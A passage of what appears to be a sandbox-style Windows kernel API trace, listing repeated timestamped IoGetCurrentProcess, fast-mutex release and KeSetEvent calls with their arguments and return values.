ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0286.084] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0286.144] IoGetCurrentProcess () returned 0xffffe00001078440 [0286.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0286.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0286.145] IoGetCurrentProcess () returned 0xffffe00001078440 [0286.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0286.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0286.207] IoGetCurrentProcess () returned 0xffffe00001078440 [0286.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0286.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0286.207] IoGetCurrentProcess () returned 0xffffe00001078440 [0286.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0286.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0287.817] IoGetCurrentProcess () returned 0xffffe00001078440 [0287.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0287.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0287.818] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0287.880] IoGetCurrentProcess () returned 0xffffe00001078440 [0287.881] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0287.881] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0287.881] IoGetCurrentProcess () returned 0xffffe00001078440 [0287.881] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0287.882] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0287.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0287.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0287.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0287.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0287.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0287.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0288.005] IoGetCurrentProcess () returned 0xffffe00001078440 [0288.005] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0288.005] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0288.005] IoGetCurrentProcess () returned 0xffffe00001078440 [0288.005] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0288.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0288.089] IoGetCurrentProcess () returned 0xffffe00001078440 [0288.089] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0288.090] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0288.090] IoGetCurrentProcess () returned 0xffffe00001078440 [0288.090] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0288.090] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0288.100] IoGetCurrentProcess () returned 0xffffe00001078440 [0288.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0288.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.286] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.286] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0290.347] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.348] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.348] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.409] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.410] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.472] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.473] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.535] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.535] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.535] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.536] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.536] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.598] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.598] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.599] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.660] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.661] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.723] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.723] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.724] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.724] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.724] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.785] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.785] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.847] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.847] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.910] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.911] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0290.959] IoGetCurrentProcess () returned 0xffffe00001078440 [0290.960] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0290.960] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.019] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.020] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.082] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.082] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.145] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.145] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.146] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.146] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.192] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.207] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.208] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.208] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.208] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.208] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.208] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.442] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0291.504] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.504] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.631] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.632] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.634] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.692] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.693] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.693] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.693] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.754] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.755] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.755] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.879] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.879] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0291.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0291.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0291.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0292.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0292.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0292.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0292.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.129] IoGetCurrentProcess () returned 0xffffe00001078440 [0292.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.129] IoGetCurrentProcess () returned 0xffffe00001078440 [0292.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.192] IoGetCurrentProcess () returned 0xffffe00001078440 [0292.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.193] IoGetCurrentProcess () returned 0xffffe00001078440 [0292.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.254] IoGetCurrentProcess () returned 0xffffe00001078440 [0292.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.254] IoGetCurrentProcess () returned 0xffffe00001078440 [0292.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.317] IoGetCurrentProcess () returned 0xffffe00001078440 [0292.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.317] IoGetCurrentProcess () returned 0xffffe00001078440 [0292.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0292.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0292.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0292.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0292.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0292.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0292.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0293.894] IoGetCurrentProcess () returned 0xffffe00001078440 [0293.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0293.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0293.894] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0293.956] IoGetCurrentProcess () returned 0xffffe00001078440 [0293.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0293.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0293.957] IoGetCurrentProcess () returned 0xffffe00001078440 [0293.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0293.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0294.019] IoGetCurrentProcess () returned 0xffffe00001078440 [0294.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0294.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0294.020] IoGetCurrentProcess () returned 0xffffe00001078440 [0294.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0294.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0294.103] IoGetCurrentProcess () returned 0xffffe00001078440 [0294.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0294.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0294.103] IoGetCurrentProcess () returned 0xffffe00001078440 [0294.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0294.104] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0294.113] IoGetCurrentProcess () returned 0xffffe00001078440 [0294.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0294.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0294.162] IoGetCurrentProcess () returned 0xffffe00001078440 [0294.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0294.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0294.162] IoGetCurrentProcess () returned 0xffffe00001078440 [0294.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0294.163] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.395] IoGetCurrentProcess () returned 0xffffe00001078440 [0295.395] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.395] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.395] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0295.458] IoGetCurrentProcess () returned 0xffffe00001078440 [0295.458] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.458] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.458] IoGetCurrentProcess () returned 0xffffe00001078440 [0295.459] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.459] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.519] IoGetCurrentProcess () returned 0xffffe00001078440 [0295.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.520] IoGetCurrentProcess () returned 0xffffe00001078440 [0295.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.582] IoGetCurrentProcess () returned 0xffffe00001078440 [0295.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.582] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.583] IoGetCurrentProcess () returned 0xffffe00001078440 [0295.583] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.583] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.647] IoGetCurrentProcess () returned 0xffffe00001078440 [0295.647] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.647] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.647] IoGetCurrentProcess () returned 0xffffe00001078440 [0295.647] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.647] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.707] IoGetCurrentProcess () returned 0xffffe00001078440 [0295.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.707] IoGetCurrentProcess () returned 0xffffe00001078440 [0295.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.769] IoGetCurrentProcess () returned 0xffffe00001078440 [0295.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.770] IoGetCurrentProcess () returned 0xffffe00001078440 [0295.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.770] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.831] IoGetCurrentProcess () returned 0xffffe00001078440 [0295.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.832] IoGetCurrentProcess () returned 0xffffe00001078440 [0295.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.895] IoGetCurrentProcess () returned 0xffffe00001078440 [0295.895] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.895] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.895] IoGetCurrentProcess () returned 0xffffe00001078440 [0295.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.957] IoGetCurrentProcess () returned 0xffffe00001078440 [0295.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0295.957] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0295.957] IoGetCurrentProcess () returned 